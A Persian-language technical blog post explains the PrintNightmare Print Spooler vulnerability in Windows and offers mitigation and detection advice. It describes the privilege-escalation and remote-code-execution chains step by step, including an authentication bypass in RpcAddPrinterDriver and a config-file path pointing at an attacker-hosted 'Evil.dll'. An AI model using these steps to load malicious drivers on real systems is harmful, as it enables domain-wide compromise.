بررسی آسیب پذیری PrintNightmare

بروزرسانی مایکروسافت در تاریخ 8 June خبر از آسیب پذیری بر روی سرویس Print Spooler با کد CVE-2021-1675 میداد که نوعی LPE بود، این آسیب پذیری‌ها به ارتقا سطح دسترسی کاربران سیستم به سطح ادمین منجر میشوند.اما در تاریخ 21 June مایکروسافت اون رو تغییر داد و با یک کد CVE جدید تحت عنوان یک آسیب پذیری RCE که توسط دو محقق امنیت سایبری از دو آزمایشگاه معروف کشف شده بود معرفی کرد، تقریبا چند روز بعد، اولین ویدیوها از اکسپلویت کردن این آسیب‌ پذیری بصورت LPE و RCE منتشر شد و همینطور که صحبت‌ها در مورد اون زیاد میشد یک محقق امنیتی در توییتی اعلام کرد که این آسیب پذیری رو در کنفرانس بلک هت ارایه خواهند داد و لینک یک POC مربوط به این آسیب پذیری رو قرارداد اما بعد از مدت کوتاهی این لینک رو حذف کرد و نوشت که برای جلوگیری از این آسیب پذیری ویندوز خودتون رو به آخرین نسخه بروزرسانی کنید اما دیگه دیر شده بود افراد زیادی کدهای POC مربوطه رو دیده یا فورک کرده بودند.در حال حاضر هنوز مایکروسافت بروزرسانی برای نوع دسترسی RCE این آسیب پذیری منتشر نکرده و آخرین چیزی که از مایکروسافت منتشر شده پیشنهاد میکند که سرویس Print Spooler تا انتشار بروزرسانی مورد نظر غیرفعال گردد.پیش از این در سال‌های گذشته از آسیب پذیری‌های این سرویس در بدافزار استاکس نت که به زیرساخت های هسته‌ای ایران حمله کرده بود نیز استفاده شده بود.تشریح آسیب پذیریارتقاع سطح دسترسی (LPE)تشریح ابتدایی و مطلبی که توسط Afine Team منتشر شد درباره LPE در PrintSpoolerقسمت آسیب پذیر در ویندوز و در بخش مدیریت پرینترها یا printmanagement.msc بود که در منوی setting در بخش printers and scanners در دسترس میباشد مشکلی که در این بخش و برای manage server که وظیفه مدیریت و افزودن پرینت سرور جدید و … را دارد وجود داشت این بود که دسترسی به آن برای به اصطلاح گروه Interactive بصورت پیشفرض allow بود یعنی همه کاربرانی که تحت interactive بودند میتوانستند از این قابلیت استفاده بکنند.گروه interactive که البته در واقع مثل دیگر گروه‌ها در ویندوز نمیباشد و نمیتوانید کاربران را عضو آن بکنید یا از آن خارج بکنید بصورت کلی به همه کاربرانی که روی سیستم لاگین بکنند تعلق میگیرد.بنابراین همه کاربرانی که روی سیستم لاگین شوند میتوانستند از قابلیت manage server و افزودن پرینتر استفاده بکنند.یکی از قابلیت ها امکان اضافه کردن پرینتر یا پرینت سرور از طریق import فایل میباشد به این صورت که میتوان فایل هایی با فرمت PrintExport. ساخت و از این طریق برای افزودن پرینتر اقدام کرد.نمونه فایل printexportاما مشکل کجاست؟ یک فایل PrintExport. در واقع یک پکیج است شامل تعدادی فایل های xml و لایبرری های dll میباشد در واقع از این فایل بصورت ساده برای بک آپ گرفتن یا ریستور کردن پرینترهای قبلی متصل شده به سیستم و موارد اینگونه استفاده میشود.محتوای پکیج PrintExportبرای ایجاد یک dll مخرب در این بخش باید به شیوه هایی مثل dll hijacking ابتدا یک نسخه سالم از فایل printexport پیدا کرده و سپس تغییرات مورد نظر خود را روی آن اعمال کنیم و در فایل xml مربوطه رفرنس به dll مخرب خود را قرار دهیم.میتوان از قابلیت‌های Backup/Restore پرینتر برای تهیه چنین فایل استفاده کرد.فرض کنیم هدف dll مورد نظر باز کردن یک cmd میباشد.پس میدانیم هرکاربری میتواند یک PrintExport. فایل را import بکند و حتی آن را تغییر نیز بدهد.اتفاقی که در ادامه می افتد به این شکل است که بعد از import کردن و تکمیل این فرایند فایل مورد نظر ما بصورت خودکار به آدرس زیر کپی میشود در واقع یک کاربر عادی میتواند یک dll را در دایرکتوری system32 کپی کند.C: \ Windows \ System32 \ spool \ drivers \ x64 \ 3 \ *تکنیک های Dll SideLoading / Hijackingوقتی نرم افزاری در ویندوز میخواهد از لایبرری های dll استفاده بکند اگر آدرس صحیح فایل dll در برنامه مشخص نشده باشد ویندوز به نرم افزار کمک میکند تا dll مورد نظر خود را از روی سیستم پیدا بکند به این شکل که آدرس های احتمالی را پیشنهاد میکند، برای اینکه آنجا دنبال dll بگردد برای مثال همان دایرکتوری که نرم افزار در آن قرار دارد.لود dll توسط Spoolsvبرای مثال اگر نرم افزاری در آدرس c: \ windows باشد و بخواهد از لایبرری version.dll استفاده بکند مسیری که ویندوز به آن پیشنهاد میدهد همان دایرکتوری یعنی c:/ windows میباشد نرم افزارهای زیادی دربرابر dll sideloading آسیب پذیر هستند اما مشکل اصلی که وجود دارد نمیتوان همه آنها را اکسپلویت کرد برای اینکه کاربر عادی نمیتواند dll مخرب خود را در آدرس های سیستمی بنویسد.اتفاقی که در print spooler می افتد نیز به همین شکل میباشد بعد ریستارت و شروع این سرویس به دنبال version.dll میگردد و مسیر پیشنهادی ویندوز برای پیدا کردن dll مورد نظر همان دایرکتوری میباشد که فایل مخرب در آنجا وجود دارد بنابراین dll مورد نظر توسط print spooler با دسترسی سیستمی لود میشود.بنابراین چند مشکل وجود دارد- دسترسی به manage server برای همه کاربران باز میباشد- فایل printexport را میتوان تغییر داد و دستکاری کرد- فایل مورد نظر بعد از import شدن به مسیری در system32 کپی میشود- سرویس print spooler بخاطر مشکلی که دارد version.dll مخرب را از مسیر مورد نظر با دسترسی سیستم لود میکنداجرای کد از راه دور (RCE)برای rce باید کماکان attacker یک کاربر احراز هویت شده و داخل دامین باشددر دو حالت میشود از این آسیب پذیری بصورت RCE استفاده کرد یکی برای هدف قرار دادن خود dc و یکی هم سیستم هایی که از قابلیت point and print استفاده میکنند*درباره مورد دوم و point and print هنوز اطلاعات مشخصی وجود نداردقابلیت point and print امکانی است که بوسیله آن سیستم های ویندوزی میتوانند بدون نیاز به نصب درایو از روی دیسک یا موارد این مدلی به پرینترهای روی شبکه متصل شده و از آنها استفاده نمایند.وقتی در این حالت سیستمی میخواهد از یک پرینتر تحت شبکه استفاده بکند ابتدا درایور ها و پارامترهای کانیفگ از پرینت سرور دانلود و لود میشوند.مشکل بعدی که اینجا وجود دارد یک rpc است تحت عنوان RpcAddPrinterDriverEx() یا به اصطلاح ویندوزی RpcAddPrinterDriver که از آن برای نصب پرینتر درایورها از پرینت سرور و افزودن فایل های و لایبرری ها استفاده میشود.افزودن Print Server با استفاده از RpcAddPrinterDriver به شکل زیر انجام میشود.- کلاینت میتواند از RpcAddPrinterDriver برای افزودن درایور به Print Server استفاده بکند.- کلاینت بررسی میکند که فایل یا فایلهای درایور برای سرور در محلی در دسترس باشد برای اینکار کلاینت میتواند یک دایرکتوری داخلی share کند یا از طریق SMB فایل ها را روی دایرکتوری روی سرور قرار دهد.- کلاینت سپس DRIVER_INFO_2 را به شکل زیر بوجود می آورد .pName = L&quotOEM Printer Driver&quot pEnvironment = L&quotWindows NT x86&quot /* Environment the driver is compatible with */pDriverPath = &quot\\CORPSERV\C$\DRIVERSTAGING\OEMDRV.DLL&quot315 / 415[MS-RPRN] - v20200826Print System Remote ProtocolCopyright © 2020 Microsoft CorporationRelease: August 26, 2020‍‍pDataFile = &quot\\CORPSERV\C$\DRIVERSTAGING\OEMDATA.DLL&quotpConfigFile = &quot\\CORPSERV\C$\DRIVERSTAGING\OEMUI.DLL&quot‍‍‍‍‍‍‍‍‍‍‍- کلاینت ساختار DRIVER_CONTAINER را که شامل DRIVER_INFO_2 میباشد را بوجود می آورد- کلاینت RpcAddPrinterDriver را صدا میزند.RpcAddPrinterDriver( L&quot\\CORPSERV&quot, &driverContainer );بنابراین اگر attacker بتواند authentication مربوط به RpcAddPrinterDriver را دور بزند و این RPC را صدا بزند میتواند داریور مخرب را روی سیستم هدف لود کند در ویندوز، کلاینت برای اجرای این RPC نیاز به دسترسی SeLoadDriverPrivilege دارد اما مشکل مشابهی که در این قسمت وجود دارد طبق تصویر به شکل زیر است.سرویس Spooler توسط ValidateObjectAccess یک بررسی امنیتی انجام میدهد برای اینکه آیا کاربر میتواند این RPC را صدا بزند یا خیر، اما همانطور که مشخص شده در خط ۱۹ و ۲۰ آرگومان a4 میتواند توسط کاربر کنترل شود بنابراین یک کاربر نرمال میتواند این بررسی را دور زده و درایور اضافه بکند. برای مثال یک کاربر عادی که عضو دامین میباشد میتواند از این طریق یک dll را روی DomainController لود بکند و در نتیجه به کل دامین دسترسی پیدا بکند.اکسپلویت برای اکسپلویت کردن و بایپس Authentication باید بدانیم سرویس Spooler بعد از صدا زدن RpcAddPrinterDriver چه کاری انجام میدهد.فرض کنیم ۳ فایل dll از طریق RPC به سرویس Spooler داده ایم​A - pDataFile =A.dll​ B - pConfigFile =\attackerip\Evil.dll​ C - pDriverPath=C.dllاتفاقی که می افتد ابتدا فایل ها به آدرس C:\Windows\System32\spool\drivers\x64\3\new کپی میشوند و سپس به آدرس C:\Windows\System32\spool\drivers\x64\3 و نهایتا A و C توسط سرویس لود میشوند.در آخرین نسخه، سرویس Spooler بررسی میکند که A و C به صورت UNC PATH نباشند یعنی مسیر آنها جایی دیگر و روی شبکه نباشد اما B میتواند UNC PATH باشد بنابراین ما میتوانیم pConfigFile را مسیر dll مخرب خود ست بکنیم و dll در مسیر C:\Windows\System32\spool\drivers\x64\3\ Evil.dll کپی میشود و سپس دوباره RpcAddPrinterDriver را اجرا میکنیم این بار با این تفاوت که بجای pDataFile مسیر داخلی dll مخرب را قرار میدهیم از آنجایی که dll در همان مسیر وجود دارد دیگر مشکلی از بابت UNC PATH هم وجود ندارد و منطقا باید dll مخرب لود شود اما این تا اینجا اکسپلویت کار نمی کند و یک مشکل دیگر وجود دارد.اگر هر ۳ مقدار A و B و C را مسیری در داخل یک دایرکتوری ست بکنیم مشکل دسترسی در کپی کردن فایل بوجود می آید برای دور زدن این مشکل از قابلیت بک آپ و آپگرید درایور استفاده میکنیم به این شکل که اگر ما از قابلیت بک آپ استفاده بکنیم نسخه قدیمی به آدرس C:\Windows\System32\spool\drivers\x64\3\old\1 کپی میشود و دیگر مشکل دسترسی بوجود نمی آید.اجرای اکسپلویت و گرفتن دسترسیلود شدن dll مخرب توسط سرویس spoolsvپیشگیریدر حال حاضر کماکان بروزرسانی توسط مایکروسافت منتشر نشده است و مهمترین پیشنهاد در این باره غیرفعال کردن سرویس Print Spooler میباشد، راهکارهای دیگری هم در توییتر و یا توسط فعالین امنیت منشتر شده است مثل اصلاح ACL یا دسترسی‌ها اما توسط مایکروسافت تایید نشده است.صحبت‌هایی نیز وجود دارد که غیرفعال کردن هم راهکار ۱۰۰ درصدی نمیباشدغیرفعال کردن سرویس Spooler از طریق PowerShellGet-servicec -Name Spooler Stop-Service -Name Spooler -ForceSet-Service -Name Spooler -StartupType Disabledغیرفعال کردن سرویس Spooler از طریق Group PolicyPolicies/Windows Settings/Security Settings/System Services/Print Spoolerبررسی احتمال آلوده شدنبررسی event ها مربوط به پروسس Spoolsvبررسی مسیرهای مهم برای پیلودها و dll های مخرب احتمالیC:\Windows\System32\spool\drivers\x64\3\C:\Windows\System32\spool\drivers\x64\3\oldC:\Windows\System32\spool\drivers\x64\3\new* این نوشته یک جمع آوری و ترجمه و برداشت نویسنده از منابع زیر میباشد و ممکن است خطا و سوبرداشت نیز داشته باشد برای اطلاعات بیشتر میتوانید به منابع ذکر شده مستقیما مراجعه کنید.Referenceshttps://www.blog.afine.academy/exploit-na-windowsa-10-czyli-eskalacja-przywilejow-made-in-poland/https://github.com/afwu/PrintNightmarehttps://kb.cert.org/vuls/id/383432https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/353ff796-6fb3-41cf-8b35-0022dd53d886https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-printhttps://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-executionhttps://github.com/cube0x0https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/353ff796-6fb3-41cf-8b35-0022dd53d886